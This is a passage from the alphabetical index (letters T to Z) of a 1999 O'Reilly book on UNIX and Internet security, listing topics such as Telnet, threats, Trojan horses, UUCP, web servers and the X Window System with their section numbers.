A.1.1.15. Chapter 16: TCP/IP Networks
A.1.1.16. Chapter 17: TCP/IP Services
network services : (see network services)
networks
16. TCP/IP Networks
16.5. Summary
tcpwrapper program
17.2. Controlling Access to Servers
E.4.10. tcpwrapper
tcsh
11.5.1. Shell Features
(see also shells)
history file : 10.4.1. Shell History
telecommunications : 26.2.2. Federal Jurisdiction
telephone
14.3.1. Originate and Answer
(see also modems)
calls, recording outgoing : 10.3.1. aculog File
cellular : 12.2.1.8. Electrical noise
checklist for : A.1.1.13. Chapter 14: Telephone Security
hang-up signal : (see signals)
lines : 14.5.4. Physical Protection of Modems
leasing : 14.5.4. Physical Protection of Modems
one-way : 14.4.1. One-Way Phone Lines
physical security of : 14.5.4. Physical Protection of Modems
Telnet versus : 17.3.3. TELNET (TCP Port 23)
Telnet utility
3.5. Verifying Your New Password
16.2.5. Clients and Servers
17.3.3. TELNET (TCP Port 23)
versus rlogin : 17.3.18. rlogin and rsh (TCP Ports 513 and 514)
telnetd program : 11.1.2. Back Doors and Trap Doors
temperature : 12.2.1.6. Temperature extremes
TEMPEST system : 12.3.1.3. Eavesdropping by radio and using TEMPEST
terminal name and last command : 10.1.3. last Program
terrorism : 12.2.5. Defending Against Acts of War and Terrorism
testing
CGI scripts : 18.2.3.2. Testing is not enough!
core files and : 23.2. Tips on Avoiding Security-related Bugs
programs : 23.2. Tips on Avoiding Security-related Bugs
software : 1.4.2. Software Quality
TFTP (Trivial File Transfer Protocol) : 17.3.7. Trivial File Transfer Protocol (TFTP) (UDP Port 69)
tftpd server : 17.3.7. Trivial File Transfer Protocol (TFTP) (UDP Port 69)
theft
7.1.1.1. A taxonomy of computer failures
12.2.6. Preventing Theft
12.2.6.4. Minimizing downtime
12.4.1.2. Potential for eavesdropping and data theft
of backups
12.3.2. Protecting Backups
12.3.2.4. Backup encryption
of RAM chips : 12.2.6. Preventing Theft
thieves : 11.3. Authors
third-party billing : 14.5.4. Physical Protection of Modems
Thompson, Ken
1.3. History of UNIX
8.6. The UNIX Encrypted Password System
threats
assessing cost of : 2.3.3. Adding Up the Numbers
back doors : (see back doors)
to backups
7.1.6. Security for Backups
7.1.6.3. Data security for backups
bacteria programs : 11.1.7. Bacteria and Rabbits
biological : 12.2.1.7. Bugs (biological)
broadcast storms : 25.3.2. Message Flooding
via CGI scripts : 18.2.3.2. Testing is not enough!
changing file owners : 5.7. chown: Changing a File's Owner
changing system clock : 5.1.5. File Times
code breaking
6.1.1. Code Making and Code Breaking
(see also cryptography)
commonly attacked accounts : 8.1.2. Default Accounts
computer failures : 7.1.1.1. A taxonomy of computer failures
decode aliases : 17.3.4.2. Using sendmail to receive email
deep tree structures : 25.2.2.8. Tree-structure attacks
denial of service
17.1.3. The /etc/inetd Program
17.3.21.5. Denial of service attacks under X
25. Denial of Service Attacks and Solutions
25.3.4. Clogging
accidental : 25.2.5. Soft Process Limits: Preventing Accidental Denial of Service
checklist for : A.1.1.24. Chapter 25: Denial of Service Attacks and Solutions
destructive attacks : 25.1. Destructive Attacks
disk attacks
25.2.2. Disk Attacks
25.2.2.8. Tree-structure attacks
overload attacks
25.2. Overload Attacks
25.2.5. Soft Process Limits: Preventing Accidental Denial of Service
system overload attacks : 25.2.1.2. System overload attacks
disposed materials : 12.3.3. Other Media
DNS client flooding : 16.3.2. Security and Nameservice
DNS nameserver attacks : 17.3.6.2. DNS nameserver attacks
DNS zone transfers : 17.3.6.1. DNS zone transfers
dormant accounts
8.4. Managing Dormant Accounts
8.4.3. Finding Dormant Accounts
false syslog entries : 10.5.3.1. Beware false log entries
filename attacks : 11.5.1.4. Filename attacks
hidden space : 25.2.2.7. Hidden space
HOME variable attacks : 11.5.1.3. $HOME attacks
identifying and quantifying
2.2.1.2. Identifying threats
2.2.2. Review Your Risks
IFS variable attacks : 11.5.1.2. IFS attacks
intruders : (see intruders)
letting in accidentally : 11.4. Entry
logic bombs
11.1.3. Logic Bombs
27.2.2. Viruses on the Distribution Disk
mailing list for : E.1.3.9. RISKS
media failure : 7.1.4. Guarding Against Media Failure
meet-in-the-middle attacks : 6.4.5.1. Double DES
MUD/IRC client programs : 17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
newly created accounts : 24.4.1. New Accounts
NIS, unintended disclosure : 19.4.5. Unintended Disclosure of Site Information with NIS
with NNTP : 17.3.13. Network News Transport Protocol (NNTP) (TCP Port 119)
open (guest) accounts
8.1.4. Open Accounts
8.1.4.6. Potential problems with rsh
PATH variable attacks : 11.5.1.1. PATH attacks
plaintext attacks : 6.2.3. Cryptographic Strength
playback (replay) attacks : 19.6.1.2. Using the ticket granting ticket
programmed
11. Protecting Against Programmed Threats
11.6.2. Shared Libraries
A.1.1.10. Chapter 11: Protecting Against Programmed Threats
D.1.4. Computer Viruses and Programmed Threats
authors of : 11.3. Authors
damage from : 11.2. Damage
replay attacks : 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
rsh, problems with : 8.1.4.6. Potential problems with rsh
sendmail problems : 17.3.4.1. sendmail and security
spoofed network connection : 8.5.3.1. Trusted path
start-up file attacks
11.5.2. Start-up File Attacks
11.5.2.7. Other initializations
system clock : (see system clock)
theft : (see theft)
/tmp directory attacks : 25.2.4. /tmp Problems
toll fraud : 14.4.1. One-Way Phone Lines
traffic analysis : 18.4. Avoiding the Risks of Eavesdropping
tree-structure attacks : 25.2.2.8. Tree-structure attacks
Trojan horses
4.3.5. Using su with Caution
11.1.4. Trojan Horses
11.5. Protecting Yourself
17.3.21.2. X security
19.6.5. Kerberos Limitations
27.2.2. Viruses on the Distribution Disk
trusted hosts : (see trusted, hosts)
unattended terminals
12.3.5. Unattended Terminals
12.3.5.2. X screen savers
unowned files : 24.4.1.8. Unowned files
vandalism
12.2.4. Vandalism
12.2.4.3. Network connectors
viruses
11.1.5. Viruses
(see viruses)
war and terrorism : 12.2.5. Defending Against Acts of War and Terrorism
weakness-finding tools : 11.1.1. Security Tools
by web browsers
18.5. Risks of Web Browsers
18.5.2. Trusting Your Software Vendor
worms : 11.1.6. Worms
three-way handshake (TCP) : 16.2.4.2. TCP
ticket-granting service
19.6.1.1. Initial login
19.6.1.2. Using the ticket granting ticket
19.6.1.3. Authentication, data integrity, and secrecy
tickets : (see Kerberos system)
Tiger : E.4.11. Tiger
tilde (~)
in automatic backups : 18.2.3.5. Beware stray CGI scripts
as home directory : 11.5.1.3. $HOME attacks
~! in mail messages : 8.1.3. Accounts That Run a Single Command
time
19.3.1.3. Setting the window
(see also NTP; system clock)
CPU, accounting
10.2. The acct/pacct Process Accounting File
10.2.3. messages Log File
defining random seed by : 23.8. Picking a Random Seed
modification
5.1.2. Inodes
5.1.5. File Times
7.4.7. inode Modification Times
9.2.2. Checklists and Metadata
24.5.1. Never Trust Anything Except Hardcopy
most recent login : 10.1.1. lastlog File
Secure RPC window of : 19.3.1.3. Setting the window
timeouts
11.1.3. Logic Bombs
23.3. Tips on Writing Network Programs
timesharing
19.6.5. Kerberos Limitations
23.2. Tips on Avoiding Security-related Bugs
Timezone table (NIS+) : 19.5.3. NIS+ Tables
tip command
10.3.1. aculog File
14.5. Modems and UNIX
14.5.3.1. Originate testing
14.5.3.3. Privilege testing
-l option : 14.5.3.1. Originate testing
TIS Internet Firewall Toolkit (FWTK) : E.4.12. TIS Internet Firewall Toolkit
TMOUT variable : 12.3.5.1. Built-in shell autologout
/tmp directory
14.5.3.3. Privilege testing
25.2.4. /tmp Problems
tmpfile function : 23.2. Tips on Avoiding Security-related Bugs
token cards : 8.7.2. Token Cards
token ring : 16.1. Networking
toll fraud : 14.4.1. One-Way Phone Lines
tools : 1.3. History of UNIX
to find weaknesses : 11.1.1. Security Tools
quality of
1.4.2. Software Quality
1.4.3. Add-On Functionality Breeds Problems
Totient Function : 6.4.6.1. How RSA works
tracing connections
24.2.4. Tracing a Connection
24.2.4.2. How to contact the system administrator of a computer you don't know
trademarks : 26.4.3. Trademark Violations
traffic analysis : 18.4. Avoiding the Risks of Eavesdropping
training : 13.2.1. Initial Training
transfer zones : 16.2.6.1. DNS under UNIX
transfering files : 15.1.1. uucp Command
Transmission Control Protocol (TCP) : 16.2.4.2. TCP
Transmit Data (TD) : 14.3. The RS-232 Serial Protocol
transmitters, radio : 12.2.1.8. Electrical noise
transposition (in encryption) : 6.1.2. Cryptography and Digital Computers
trap doors : (see back doors)
trashing : 12.3.3. Other Media
tree structures : 25.2.2.8. Tree-structure attacks
trimlog : E.4.13. trimlog
Triple DES
6.4.5. Improving the Security of DES
6.4.5.2. Triple DES
Tripwire package
9.2.4. Tripwire
9.2.4.2. Running Tripwire
19.5.5. NIS+ Limitations
E.4.14. Tripwire
Trivial File Transfer Protocol (TFTP) : 17.3.7. Trivial File Transfer Protocol (TFTP) (UDP Port 69)
Trojan horses
4.3.5. Using su with Caution
11.1.4. Trojan Horses
11.5. Protecting Yourself
27.2.2. Viruses on the Distribution Disk
Kerberos and : 19.6.5. Kerberos Limitations
X clients : 17.3.21.2. X security
truncate system call : 5.1.7. File Permissions in Detail
trust
1.1. What Is Computer Security?
2.1.1. Trust
27. Who Do You Trust?
27.4. What All This Means
of log files : 10.8. Managing Log Files
trusted
8.5.3.2. Trusted computing base
17.1.1. The /etc/services File
hosts
17.3.18.1. Trusted hosts and users
17.3.18.4. The ~/.rhosts file
NFS and : 17.3.18.2. The problem with trusted hosts
path : 8.5.3.1. Trusted path
ports : 1.4.3. Add-On Functionality Breeds Problems
users
17.3.4.1. sendmail and security
17.3.18.1. Trusted hosts and users
TRW Network Area and System Administrators : F.3.4.36. TRW network area and system administrators
tty file : 7.1.2. What Should You Back Up?
ttymon program : C.5.2. Logging In
ttys file
8.5.1. Secure Terminals
14.5.1. Hooking Up a Modem to Your Computer
ttytab file : C.5.1. Process #1: /etc/init
ttywatch program : 24.2.3. Monitoring the Intruder
tunefs command : 25.2.2.6. Reserved space
tunneling : 16.4.1. IPX
twisted pair : 16.1. Networking
TZ variable : 23.2. Tips on Avoiding Security-related Bugs

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: U

U.S. Department of Energy : F.3.4.12. France: universities, Ministry of Research and Education in France, CNRS, CEA, INRIA, CNES, INRA, IFREMER, and EDF
U.S. Department of the Navy : F.3.4.44. U.S. Department of the Navy
U.S. law : (see laws)
U.S. Secret Service
26.2.2. Federal Jurisdiction
F.3.3. U.S. Secret Service (USSS)
UDP (User Datagram Protocol)
16.2.4.3. UDP
17.1.3. The /etc/inetd Program
(see also network services)
packet relayer : E.4.15. UDP Packet Relayer
ufsdump : (see dump/restore program)
UIDs (user identifiers)
4.1. Users and Groups
4.1.2. Multiple Accounts with the Same UID
real versus effective
4.3.1. Real and Effective UIDs
C.1.3.2. Process real and effective UID
RPC requests and : 19.2.2.2. AUTH_UNIX
su command and : 10.1.2.1. su command and /etc/utmp and /var/adm/wtmp files
of web servers : 18.2.1. The Server's UID
zero : (see root account; superuser)
UK Defense Research Agency : F.3.4.37. UK: Defense Research Agency
ulimit command : 25.2.5. Soft Process Limits: Preventing Accidental Denial of Service
Ultrix : 1.3. History of UNIX
trusted path : 8.5.3.1. Trusted path
UUCP : 15.4.1.3. Format of USERFILE entry without system name
umask
5.3. The umask
5.3.2. Common umask Values
8.4.3. Finding Dormant Accounts
unattended terminals
12.3.5. Unattended Terminals
12.3.5.2. X screen savers
uninterruptable power supply (UPS)
2.2. Risk Assessment
12.2.1.1. Fire
Unisys : F.3.4.39. UK: other government departments and agencies
universes : 5.9.1. Dual Universes
UNIX : 1. Introduction
add-on functionality of : 1.4.3. Add-On Functionality Breeds Problems
conventional passwords : 3.2.6. Conventional UNIX Passwords
DAC (Discretionary Access Controls) : 4.1.3. Groups and Group Identifiers (GIDs)
DNS under : 16.2.6.1. DNS under UNIX
encryption programs for
6.6. Encryption Programs Available for UNIX
6.6.3.6. PGP detached signatures
filesystem
5. The UNIX Filesystem
5.10. Summary
history of : 1.3. History of UNIX
modems and
14.5. Modems and UNIX
14.5.3.3. Privilege testing
networking and : 16.1.2. Networking and UNIX
operating systems : (see operating systems)
primary network services
17.3. Primary UNIX Network Services
17.3.23. Other TCP Ports: MUDs and Internet Relay Chat (IRC)
process scheduler : C.1.3.3. Process priority and niceness
processes : (see processes)
programming references : D.1.11. UNIX Programming and System Administration
published resources for : D.1. UNIX Security References
security and
1.4. Security and UNIX
1.4.3. Add-On Functionality Breeds Problems
signals : C.3. Signals
starting up
C.5. Starting Up UNIX and Logging In
C.5.3. Running the User's Shell
Version 6 : 1.3. History of UNIX
viruses : (see viruses)
web server on : 18.2. Running a Secure Server
unlinked files : 25.2.2.7. Hidden space
unowned files : 24.4.1.8. Unowned files
unplugging connections : 24.2.5. Getting Rid of the Intruder
unpredictability of randomness : 23.6. Tips on Generating Random Numbers
upgrades, logging : 10.7.2.1. Exception and activity reports
uploading stored information : 12.3.4. Protecting Local Storage
UPS (uninterruptable power supply)
2.2. Risk Assessment
12.2.1.1. Fire
uptime command : 8.1.3. Accounts That Run a Single Command
urandom device : 23.7.4. Other random number generators
Usenet
17.3.13. Network News Transport Protocol (NNTP) (TCP Port 119)
E.2. Usenet Groups
(see also NNTP)
cleanup scripts : 11.5.3. Abusing Automatic Mechanisms
encryption for : (see ROT13 algorithm)
posting breakins to : 24.6. Resuming Operation
reporting security holes on : 2.5.1. Going Public
User Datagram Protocol (UDP) : 16.2.4.3. UDP
user error : 7.1.1.1. A taxonomy of computer failures
user IDs : (see UIDs)
USERFILE file (UUCP)
15.4.1. USERFILE: Providing Remote File Access
15.4.2.1. Some bad examples
usermod command
-e option : 8.4.3. Finding Dormant Accounts
-f option : 8.4.3. Finding Dormant Accounts
-s option : 8.3. Restricting Logins
usernames : 3.1. Usernames
aliases for : 8.8.9. Account Names Revisited: Using Aliases for Increased Security
doubling as passwords (Joes) : 3.6.2. Smoking Joes
last command and : 10.1.3. last Program
as passwords : 8.8.3.1. Joetest: a simple password cracker
special
4.2. Special Usernames
4.2.3. Impact of the /etc/passwd and /etc/group Files on Security
using someone else's
4.3. su: Changing Who You Claim to Be
4.3.8. Other Uses of su
users
4. Users, Groups, and the Superuser
4.1. Users and Groups
4.1.2. Multiple Accounts with the Same UID
(see also groups; su command)
assigning passwords to : 8.8.1. Assigning Passwords to Users
auditing who is logged in
10.1.2. utmp and wtmp Files
10.1.2.1. su command and /etc/utmp and /var/adm/wtmp files
authentication for Web : 18.3.3. Setting Up Web Users and Passwords
becoming other
4.3. su: Changing Who You Claim to Be
4.3.8. Other Uses of su
checklist for : A.1.1.2. Chapter 3: Users and Passwords
dormant accounts and
8.4. Managing Dormant Accounts
8.4.3. Finding Dormant Accounts
identifiers for : (see UIDs)
importing to NIS server
19.4.1. Including or excluding specific accounts:
19.4.4.2. Using netgroups to limit the importing of accounts
letting in threats : 11.4. Entry
limited : 8.1.5.1. Limited users
logging
10.4. Per-User Trails in the Filesystem
10.4.3. Network Setup
NIS passwords for : 19.3.2.1. Creating passwords for users
nobody (Secure RPC) : 19.3.2.1. Creating passwords for users
notifying about monitoring : 26.2.6. Other Tips
proving identity of : 19.3.1.1. Proving your identity
recognizing as intruders
24.2. Discovering an Intruder
24.2.6. Anatomy of a Break-in
restricting certain : 18.3. Controlling Access to Files on Your Server
root : (see root account; superuser)
sending messages to : 10.5.1. The syslog.conf Configuration File
summarizing system usage by : 25.2.2.2. quot command
tainting : 18.2.3.4. Tainting with Perl
training : 13.2.1. Initial Training
UIDs : (see UIDs)
unattended terminals
12.3.5. Unattended Terminals
12.3.5.2. X screen savers
USERFILE entries for : 15.4.1.2. USERFILE entries for local users
www : 18.2.2. Understand Your Server's Directory Structure
users command
10.1.2. utmp and wtmp Files
24.2.1. Catching One in the Act
USG (UNIX Support Group) : 1.3. History of UNIX
/usr directory
4.3.7. The Bad su Log
(see also /var directory)
backing up /usr/bin : 7.1.2. What Should You Back Up?
/usr/adm directory : 11.5.3.6. Other files
/usr/adm/lastlog file : 10.1.1. lastlog File
/usr/adm/messages file : 10.2.3. messages Log File
/usr/bin directory
11.1.5. Viruses
11.5.1.1. PATH attacks
/usr/bin/uudecode : (see uudecode program)
/usr/etc/yp/makedbm program : 19.4.4.1. Setting up netgroups
/usr/lib/aliases file : 11.5.3.3. /usr/lib/aliases, /etc/aliases, /etc/sendmail/aliases, aliases.dir, or aliases.pag
/usr/lib directory : 11.5.3.6. Other files
in restricted filesystems : 8.1.5. Restricted Filesystem
/usr/lib/preserve program : 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve hole
/usr/lib/sendmail : (see sendmail)
/usr/lib/uucp/Devices file : 14.5.1. Hooking Up a Modem to Your Computer
/usr/lib/uucp directory
15.4.2.1. Some bad examples
15.5.2. Permissions Commands
/usr/lib/uucp/L-devices file : 14.5.1. Hooking Up a Modem to Your Computer
/usr/lib/uucp/L.cmds file : (see L.cmds file)
/usr/lib/uucp/L.sys file : 15.3.3. Security of L.sys and Systems Files
/usr/lib/uucp/Permissions file : (see Permissions file)
/usr/lib/uucp/Systems file : 15.3.3. Security of L.sys and Systems Files
/usr/lib/uucp/USERFILE file
15.4.1. USERFILE: Providing Remote File Access
15.4.2.1. Some bad examples
/usr/local/bin : 1.1. What Is Computer Security?
/usr/local/bin directory : 11.5.1.1. PATH attacks
/usr/local/etc/http/logs directory : 10.3.5. access_log Log File
/usr/local/lib directory : 11.5.3.6. Other files
/usr/sbin/rexecd : (see rexec service)
/usr/spool/cron/crontabs directory : 15.6.2. Automatic Execution of Cleanup Scripts
/usr/spool/uucp directory : 15.1.4. How the UUCP Commands Work
/usr/spool/uucppublic : (see uucppublic directory)
/usr/ucb directory : 11.1.5. Viruses
utility programs : 1.2. What Is an Operating System?
utimes commandn : 24.5.1. Never Trust Anything Except Hardcopy
utmp file
10.1.2. utmp and wtmp Files
10.1.2.1. su command and /etc/utmp and /var/adm/wtmp files
24.2.1. Catching One in the Act
24.2.4. Tracing a Connection
uucheck program : 15.5.3. uucheck: Checking Your Permissions File
uucico program
15.1.4. How the UUCP Commands Work
15.3. UUCP and Security
15.5.1.1. Starting up
uucp (user)
4.1. Users and Groups
4.2.2. Other Special Users
uucp command : 15.1.1. uucp Command
UUCP system
4.1.2. Multiple Accounts with the Same UID
14.5. Modems and UNIX
15. UUCP
15.9. Summary
additional logins : 15.3.1. Assigning Additional UUCP Logins
BNU
15.2. Versions of UUCP
15.5. Security in BNU UUCP
15.5.3. uucheck: Checking Your Permissions File
checklist for : A.1.1.14. Chapter 15: UUCP
cleanup scripts
11.5.3. Abusing Automatic Mechanisms
15.6.2. Automatic Execution of Cleanup Scripts
early security problems : 15.7. Early Security Problems with UUCP
HoneyDanBer (HDB) : 15.2. Versions of UUCP
logging : 10.3.4. uucp Log Files
mail forwarding : 15.6.1. Mail Forwarding for UUCP
naming computer : 15.5.2. Permissions Commands
over networks : 15.8. UUCP Over Networks
NFS server and : 15.3. UUCP and Security
passwords for : 15.3.2. Establishing UUCP Passwords
Taylor : 15.2. Versions of UUCP
over TCP : 17.3.20. UUCP over TCP (TCP Port 540)
Version 2
15.2. Versions of UUCP
15.4. Security in Version 2 UUCP
15.4.3. L.cmds: Providing Remote Command Execution
uucpa account : 15.3.1. Assigning Additional UUCP Logins
uucpd program : 15.8. UUCP Over Networks
uucppublic directory
15.1.1. uucp Command
15.4.1.3. Format of USERFILE entry without system name
15.5.2. Permissions Commands
uudecode program : 17.3.4.2. Using sendmail to receive email
uuencode program : 6.6.1.2. Ways of improving the security of crypt
uux command : 15.1.2. uux Command
- (hyphen) option : 15.1.2. uux Command
-r option : 15.1.4. How the UUCP Commands Work
uuxqt program : 15.4.1.3. Format of USERFILE entry without system name
uuxqtcmds files : 15.4.3. L.cmds: Providing Remote Command Execution

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: V

vacuums, computer : 12.2.1.3. Dust
VALIDATE= command : 15.5.2. Permissions Commands
vampire taps : 12.3.1.5. Fiber optic cable
vandalism
7.1.1.1. A taxonomy of computer failures
12.2.4. Vandalism
12.2.4.3. Network connectors
/var directory
4.3.7. The Bad su Log
9.1.2. Read-only Filesystems
(see also /usr directory)
/var/adm/acct : 10.2. The acct/pacct Process Accounting File
/var/adm directory : 11.5.3.6. Other files
/var/adm/lastlog file : 10.1.1. lastlog File
/var/adm/loginlog file : 10.1.4. loginlog File
/var/adm/messages : 10.2.3. messages Log File
/var/adm/messages file : 4.3.7. The Bad su Log
/var/adm/savacct : 10.2. The acct/pacct Process Accounting File
/var/adm/sulog file : 4.3.7. The Bad su Log
/var/adm/wtmp file
10.1.2. utmp and wtmp Files
10.1.3.1. Pruning the wtmp file
/var/adm/xferlog : 10.3.3. xferlog Log File
/var/log directory : 11.5.3.6. Other files
/var/spool/uucp/.Admin directory : 10.3.4. uucp Log Files
variables
bounds checking : 23.2. Tips on Avoiding Security-related Bugs
to CGI scripts : 18.2.3.1. Do not trust the user's browser!
vendor liability : 18.5.2. Trusting Your Software Vendor
vendors : 27.3.3. Your Vendor?
ventilation
12.2.1.10. Vibration
(see also dust; smoke and smoking)
air ducts : 12.2.3.2. Entrance through air ducts
holes (in hardware) : 12.2.4.1. Ventilation holes
VERB command (sendmail) : 17.3.4.3. Improving the security of Berkeley sendmail V8
verifying
backups : 12.3.2.1. Verify your backups
new passwords : 3.5. Verifying Your New Password
signatures with PGP : 6.6.3.5. Decrypting messages and verifying signatures
Verisign Inc. : 18.6. Dependence on Third Parties
Version 2 UUCP
15.2. Versions of UUCP
15.4. Security in Version 2 UUCP
15.4.3. L.cmds: Providing Remote Command Execution
callback feature : 15.4.1.5. Requiring callback
Veteran's Health Administration : F.3.4.45. U.S. Veteran's Health Administration
vi editor
5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve hole
11.5.2.4. .exrc
11.5.2.7. Other initializations
vibration : 12.2.1.10. Vibration
video tape : 7.1.4. Guarding Against Media Failure
vipw command : 8.4.1. Changing an Account's Password
virtual terminals : (see Telnet utility)
Virual Private Network : 21.1.2. Uses of Firewalls
viruses
11.1. Programmed Threats: Definitions
11.1.5. Viruses
27.2.2. Viruses on the Distribution Disk
bacteria programs : 11.1.7. Bacteria and Rabbits
references on : D.1.4. Computer Viruses and Programmed Threats
voltage spikes : 12.2.1.8. Electrical noise
VPN : 21.1.2. Uses of Firewalls
VRFY option (sendmail) : 17.3.4.3. Improving the security of Berkeley sendmail V8
vsprintf function : 23.2. Tips on Avoiding Security-related Bugs
VT100 terminal : 27.2.1. Hardware Bugs

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: W

w command
10.1.2. utmp and wtmp Files
17.3.1. systat (TCP Port 11)
24.2.1. Catching One in the Act
-Wall option (in C) : 23.2. Tips on Avoiding Security-related Bugs
WANs (Wide Area Networks) : 16.1. Networking
war : 12.2.5. Defending Against Acts of War and Terrorism
warrants
26.2.4. Hazards of Criminal Prosecution
26.2.5. If You or One of Your Employees Is a Target of an Investigation...
water : 12.2.1.12. Water
humidity : 12.2.1.11. Humidity
sprinkler systems : 12.2.1.1. Fire
stopping fires with : 12.2.1.1. Fire
web browsers
18.5. Risks of Web Browsers
18.5.2. Trusting Your Software Vendor
Netscape Navigator : 18.4.1. Eavesdropping Over the Wire
Web documents : (see HTML documents)
Web servers
access to files on
18.3. Controlling Access to Files on Your Server
18.3.3. Setting Up Web Users and Passwords
log files : 18.4.2. Eavesdropping Through Log Files
on Macintosh : 18.2. Running a Secure Server
web servers
18.2. Running a Secure Server
18.2.5. Other Issues
authentication users : 18.3.3. Setting Up Web Users and Passwords
.htaccess file bug : 18.3.1. The access.conf and .htaccess Files
multiple suppliers of : 18.6. Dependence on Third Parties
as superuser : 18.2.1. The Server's UID
symbolic-link following : 18.2.2.2. Additional configuration issues
Weiner, Michael : 6.4.4.3. DES strength
Westinghouse : F.3.4.46. Westinghouse Electric Corporation
wheel group
4.1.3.1. The /etc/group file
4.3.6. Restricting su
8.5.2. The wheel Group
who command
8.1.3. Accounts That Run a Single Command
10.1.2. utmp and wtmp Files
17.3.1. systat (TCP Port 11)
24.2.1. Catching One in the Act
24.2.4. Tracing a Connection
whodo command
10.1.2. utmp and wtmp Files
24.2.1. Catching One in the Act
whois command : 24.2.4.2. How to contact the system administrator of a computer you don't know
Wide Area Networks (WANs) : 16.1. Networking
window, time : (see time)
windows (glass) : 12.2.3.3. Glass walls
windows servers : (see NSWS; X Window System)
wireless transmission : (see radio, transmissions)
wiretaps : (see eavesdropping)
wiz command : 17.3.4.2. Using sendmail to receive email
wizard's password (sendmail) : 17.3.4.1. sendmail and security
WN server : 18.3. Controlling Access to Files on Your Server
workstations, backing up : 7.2.1. Individual Workstation
World Wide Web (WWW)
18. WWW Security
18.7. Summary
browsers : (see web browsers)
checklist for : A.1.1.17. Chapter 18: WWW Security
documents on : (see HTML documents)
eavesdropping on
18.4. Avoiding the Risks of Eavesdropping
18.4.2. Eavesdropping Through Log Files
encrypting information on : 18.4.1. Eavesdropping Over the Wire
HTTP : (see HTTP)
logging dowloaded files : 10.3.5. access_log Log File
posting breakins on : 24.6. Resuming Operation
references on : E.3. WWW Pages
security mailing list : E.1.3.10. WWW-security
servers : (see Web servers)
trademarks and copyrights
26.4.2. Copyright Infringement
26.4.3. Trademark Violations
viruses through : 11.1.5. Viruses
world-writable files/directories : 11.6.1.1. World-writable user files and directories
Worm program : 1. Introduction
worms
11.1. Programmed Threats: Definitions
11.1.6. Worms
wrappers, checklist for : A.1.1.21. Chapter 22: Wrappers and Proxies
write command
5.5.3.1. write: Example of a possible SUID/SGID security hole
23.2. Tips on Avoiding Security-related Bugs
in Swatch program : 10.6.2. The Swatch Configuration File
time-outs on : 23.3. Tips on Writing Network Programs
write permission
5.1.7. File Permissions in Detail
5.4. Using Directory Permissions
write-protecting backups : 7.1.6.2. Write-protect your backups
write-protecting filesystems : 9.1.2. Read-only Filesystems
WRITE= command : 15.5.2. Permissions Commands
writing
passwords (on paper) : 3.6.5. Writing Down Passwords
programmed threats : 11.3. Authors
wtmp file
10.1.2. utmp and wtmp Files
10.1.3.1. Pruning the wtmp file
wtmpx file : 10.1.2. utmp and wtmp Files
wuftpd server : 17.3.2.4. Setting up an FTP server
www user/group : 18.2.2. Understand Your Server's Directory Structure

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: X

X Window System
12.3.4.4. X terminals
17.3.21. The X Window System (TCP Ports 6000-6063)
17.3.21.5. Denial of service attacks under X
denial of service under : 17.3.21.5. Denial of service attacks under X
screen savers : 12.3.5.2. X screen savers
X-rated material : 26.4.5. Pornography and Indecent Material
X.500 directory service : 16.4.4. OSI
X/Open Consortium : 1.3. History of UNIX
xargs command
5.2.5.1. AIX Access Control Lists
11.5.1.4. Filename attacks
Xauthority facility, magic cookies : 17.3.21.4. Using Xauthority magic cookies
xdm system : 17.3.21.4. Using Xauthority magic cookies
XDR (external data representation) : 19.2. Sun's Remote Procedure Call (RPC)
Xerox Network Systems (XNS) : 16.4.5. XNS
xferlog file : 10.3.3. xferlog Log File
xfrnets directive : 17.3.6.1. DNS zone transfers
xhost command : 17.3.21.3. The xhost facility
XOR (exclusive OR) : 6.4.7. An Unbreakable Encryption Algorithm
XScreensaver program : 12.3.5.2. X screen savers
XTACACS : (see TACACS)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Y

Yellow Pages, NIS : 16.2.6.2. Other naming services
ypbind daemon
19.3.2.3. Making sure Secure RPC programs are running on every workstation
19.4.4.5. Spoofing NIS
ypcat publickey command : 19.3.2.3. Making sure Secure RPC programs are running on every workstation
yppasswd command
3.4. Changing Your Password
8.2. Monitoring File Format
ypserv daemon : 19.4.4.5. Spoofing NIS
ypset command : 19.4.5. Unintended Disclosure of Site Information with NIS

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Z

Zheng, Yliang : 6.5.4.3. HAVAL
Zimmermann, Phil : 6.6.3. PGP: Pretty Good Privacy
zone transfers
17.3.6. Domain Name System (DNS) (TCP and UDP Port 53)
17.3.6.1. DNS zone transfers

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

